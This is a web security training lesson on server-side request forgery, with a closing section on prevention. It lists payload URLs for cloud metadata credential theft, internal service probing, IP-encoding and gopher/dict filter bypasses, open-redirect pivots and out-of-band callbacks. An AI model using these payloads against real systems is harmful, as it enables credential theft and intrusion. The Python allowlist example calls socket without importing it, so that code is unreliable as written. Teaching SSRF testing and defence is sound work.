Server-Side Request Forgery
Make the server fetch what you want - cloud metadata theft, internal port scanning, and SSRF filter bypasses.
Your application fetches a URL on behalf of a user. What could go wrong? As it turns out - everything. Server-Side Request Forgery (SSRF) lets an attacker redirect that server-side fetch to targets the server can reach but you never should: internal APIs, admin dashboards, Docker sockets, and the cloud metadata endpoint sitting quietly on every AWS EC2, GCP, and Azure instance, handing out credentials to anyone who asks.
Authorized Testing Only
SSRF exploits can exfiltrate live cloud credentials, access internal databases, and pivot to the internal network. Only test for SSRF on systems you own or have explicit written authorization to test. Unauthorized access to cloud metadata or internal services is a federal crime under the CFAA and equivalent laws worldwide.
What SSRF Actually Is
When a server makes an HTTP request based on user-supplied input, that input controls where the server goes. If there is no validation, an attacker can point the server at:
http://169.254.169.254/- the AWS Instance Metadata Service (IMDS), which hands back IAM credentialshttp://localhost:6379/- an internal Redis instance with no authhttp://192.168.1.1/- the internal network router or admin consolefile:///etc/passwd- local files on the server itself- Other cloud services accessible only from within the VPC
The server makes the request with its own network identity and trust, so firewalls that block your laptop do nothing.
A Classic Example
An image-preview feature might accept a URL and render a thumbnail:
POST /api/preview
Content-Type: application/json
{"url": "https://legit-cdn.example.com/photo.jpg"}Replace that URL with http://169.254.169.254/latest/meta-data/iam/security-credentials/ and a vulnerable server fetches AWS IAM credentials and returns them in the response.
Finding URL-Fetch Features
SSRF lives wherever the server fetches remote content. Hunt for:
- Image/file preview - "enter a URL to import"
- Webhooks - "notify this endpoint when X happens"
- PDF/screenshot generators - tools like Puppeteer, wkhtmltopdf, or PhantomJS render URLs server-side
- URL-to-import flows - Slack integrations, RSS readers, social share previews
- Proxy or gateway functionality - any endpoint that acts as a pass-through
- XML processing with external entities - covered in the XXE lesson
- DNS lookups - even hostname resolution can be abused for blind SSRF
In Burp Suite, search request history for parameters named url, uri, src, href, path, dest, redirect, link, fetch, proxy, or callback. These are the usual suspects.
Burp Collaborator for Blind SSRF
If you get no visible response, use Burp Collaborator or an interactshell instance as your target URL. Any DNS lookup or HTTP request to your Collaborator host confirms out-of-band SSRF.
Hitting Internal Services
Once you confirm the parameter accepts arbitrary URLs, probe the internal network systematically.
Common Internal Targets
http://localhost/
http://127.0.0.1/
http://[::1]/ # IPv6 loopback
http://0.0.0.0/
http://internal-api.corp/admin
http://192.168.0.1/ # Router admin
http://10.0.0.1/
http://172.16.0.1/
http://localhost:8080/
http://localhost:9200/ # Elasticsearch
http://localhost:6379/ # Redis
http://localhost:27017/ # MongoDB (no auth common)
http://localhost:2375/ # Docker daemon API (dangerous)A successful hit on the Docker daemon at http://localhost:2375/v1.41/containers/json gives you a full container list. Creating a privileged container is then trivial - that is remote code execution.
Cloud Metadata Services
This is the high-value target in cloud environments. Every major cloud platform provides a metadata endpoint accessible only from within the instance. It hands back initialization scripts, SSH keys, IAM role credentials, and more.
AWS IMDSv1 (the Dangerous One)
IMDSv1 requires no token - a single GET request is enough:
The response looks like this:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "wJalrXUtnFEMI...",
"Token": "IQoJb3JpZ2luX2Vy...",
"Expiration": "2026-05-27T12:00:00Z"
}Those credentials are rotated, but until they expire (typically 6 hours) they work against any AWS API. An attacker with ec2:DescribeInstances can enumerate infrastructure; s3:GetObject can pull all bucket contents; iam:* can create new admin users.
IMDSv2 (Session-Token-Required)
AWS introduced IMDSv2 to defend against SSRF. It requires a two-step token exchange:
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600The PUT returns a token, which must be included in subsequent requests as X-aws-ec2-metadata-token. If the SSRF vulnerability allows custom headers or follows redirects, IMDSv2 can still be bypassed in some cases. Many instances still have IMDSv1 enabled for compatibility.
GCP and Azure Metadata
# GCP - requires Metadata-Flavor: Google header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure - requires Metadata: true header
http://169.254.169.254/metadata/instance?api-version=2021-02-01Hands-on Lab
SSRF to Cloud Metadata
Practice exploiting a realistic SSRF vulnerability in a vulnerable e-commerce application. You will locate the URL-fetch feature in the product-import flow, confirm basic SSRF against an internal echo service, then pivot to the simulated AWS IMDS endpoint to retrieve IAM role credentials. The lab ends with you using those credentials against a mock S3 API to exfiltrate a "sensitive" file - closing the full SSRF-to-data-breach chain.
Blind SSRF
Often the server makes the request but does not return any response content to you. You need side channels to confirm the hit.
Time-Based Detection
If the internal service responds quickly but an external IP takes 30 seconds to time out, the timing difference reveals the internal service exists:
Out-of-Band (OOB) Detection
Point the SSRF at a Burp Collaborator, interactsh, or your own VPS:
https://target.com/fetch?url=http://your-collaborator-id.burpcollaborator.net/Any DNS resolution or HTTP request to your listener confirms the server is fetching outbound. From here you can enumerate internal ranges by watching which requests arrive quickly.
Filter Bypasses
Defenders often try to block SSRF with blocklists or input filters. Most can be circumvented.
IP Encoding Tricks
The same IP address 127.0.0.1 can be written in many forms that bypass naive blocklists:
http://2130706433/ # 127.0.0.1 as decimal
http://0x7f000001/ # 127.0.0.1 as hex
http://0177.0.0.1/ # 127.0.0.1 as octal
http://127.1/ # Short form
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
http://[::1]/ # IPv6 loopback
http://localhost/ # Hostname resolving to 127.0.0.1For 169.254.169.254 (AWS IMDS):
http://2852039166/ # Decimal
http://0xa9fea9fe/ # Hex
http://169.254.169.254/ # Standard - if this is blocked, try above
http://metadata/ # Sometimes defined in /etc/hosts in cloud imagesOpen Redirects as SSRF Bridges
If the target application validates the host but the URL contains an open redirect, the redirect can pivot to an internal target:
https://target.com/fetch?url=https://trusted-partner.com/redirect?to=http://169.254.169.254/The validator sees trusted-partner.com and allows it. The open redirect sends the server-side request to the IMDS.
DNS Rebinding (Conceptual Overview)
DNS rebinding exploits the race between DNS resolution and request execution:
- Attacker controls
evil.com. Resolver returns a public IP that passes the validation check. - Server validates the IP: it is public, so it is allowed.
- Before the actual HTTP request, the DNS TTL expires and the resolver is queried again.
- Attacker switches the DNS record to
127.0.0.1. - Server now makes the HTTP request to
127.0.0.1- a local service.
TTL values must be extremely low (0-1 seconds) and timing must be right, making this harder to exploit reliably than IP encoding tricks, but it is a real attack class.
Protocol Smuggling
Some SSRF filters only block http:// and https://. Try:
file:///etc/passwd
dict://127.0.0.1:6379/info # Redis via DICT protocol
gopher://127.0.0.1:6379/_... # Gopher can send raw bytes to Redis
ftp://internal-server/Gopher is particularly powerful: it lets you send arbitrary bytes to a TCP socket, which means you can issue Redis SET commands, interact with memcached, or send SMTP mail via SSRF.
Seen in the wild · Shopify
Real HackerOne breakdown
A researcher discovered that Shopify's internal tooling made server-side HTTP requests to a URL controlled by the merchant configuration. By injecting an internal AWS metadata URL, the researcher was able to retrieve IAM credentials belonging to the Shopify infrastructure. Shopify triaged this as critical and paid a significant bounty. The fix was to enforce IMDSv2 (requiring a PUT token step) and add a strict allowlist of permitted URL targets in the webhook/import subsystems.
Prevention
Blocklists fail. Allowlists win.
Allowlist-Based Defense (Recommended)
Only permit fetches to a pre-approved list of origins your application genuinely needs:
import ipaddress
from urllib.parse import urlparse
ALLOWED_HOSTS = {"cdn.example.com", "api.partner.com"}
def safe_fetch(url: str) -> bytes:
parsed = urlparse(url)
host = parsed.hostname
# Reject any host not in the allowlist
if host not in ALLOWED_HOSTS:
raise ValueError(f"Host {host} is not permitted")
# Reject private/loopback after DNS resolution
resolved_ip = socket.gethostbyname(host)
ip = ipaddress.ip_address(resolved_ip)
if ip.is_private or ip.is_loopback or ip.is_link_local:
raise ValueError("Resolved IP is in a private range")
return requests.get(url, timeout=5).contentResolve AFTER Validation
Always resolve the hostname to an IP and validate that IP against private ranges - not just the hostname. A hostname like metadata might resolve to 169.254.169.254 on cloud images, and an attacker-controlled hostname can resolve to any IP.
Additional Controls
- Disable IMDSv1 on all EC2 instances; enforce IMDSv2 token requirement via instance metadata options or AWS Config rule
ec2-imdsv2-check. - Network egress controls: use security groups or iptables to prevent the application server from reaching internal subnets it has no business contacting.
- Dedicated outbound proxy: route all server-side fetches through a proxy (Squid, nginx) that enforces an allowlist at the network layer, independent of application code.
- Disable unnecessary URL schemes: if your app only needs
httpandhttps, blockfile://,gopher://,dict://, andftp://at the HTTP client level. - Log and alert on internal-range requests: even if you have controls, log when any request is made to RFC-1918 or link-local ranges - this is a high-signal indicator of active exploitation.
Key Takeaways
- SSRF tricks the server into making requests on your behalf, reaching internal services, cloud metadata, and private networks that are firewalled from the internet.
- The AWS IMDS endpoint at
169.254.169.254is the highest-value SSRF target in cloud environments - it hands out rotating IAM credentials. - Hunt for SSRF in any feature that fetches URLs: webhooks, previews, import flows, PDF generators.
- Blind SSRF is confirmed via timing differences or out-of-band DNS/HTTP callbacks (Burp Collaborator, interactsh).
- Blocklists fail; use strict origin allowlists, resolve hostnames to IPs and re-validate, enforce IMDSv2, and control network egress.